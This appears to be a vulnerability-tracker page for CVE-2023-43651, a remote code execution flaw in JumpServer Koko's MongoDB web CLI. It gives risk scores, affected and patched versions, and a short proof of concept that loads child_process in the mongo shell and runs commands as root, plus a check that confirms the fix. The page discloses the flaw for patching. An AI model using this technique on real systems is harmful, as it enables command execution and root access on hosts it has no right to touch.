CVE-2023-43651Medium· 6.4▾ SunlitJumpserver Koko vulnerable to remote code execution on the host system via MongoDB shell
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.2 · likelihood 0.3 · exploitation 0
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Exploit-prediction probability, daily snapshots since Sep 12.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.7%
An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.
Through the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.
admin> const { execSync } = require("child_process")
admin> console.log(execSync("id; hostname;").toString())
uid=0(root) gid=0(root) groups=0(root)
jms_koko
admin>
Safe versions:
It is recommended to upgrade the safe versions.
After upgrade, you can use the same method to check whether the vulnerability is fixed.
admin> console.log(execSync("id; hostname;").toString())
/bin/sh: line 1: /bin/hostname: Permission denied
Thanks for Oskar Zeino-Mahmalat of Sonar found and report this vulnerability
github.com/jumpserver/koko >= 2.0.0, < 2.28.20github.com/jumpserver/koko >= 3.0.0, < 3.7.1Upgrade to a patched release:
github.com/jumpserver/koko 2.28.20github.com/jumpserver/koko 3.7.1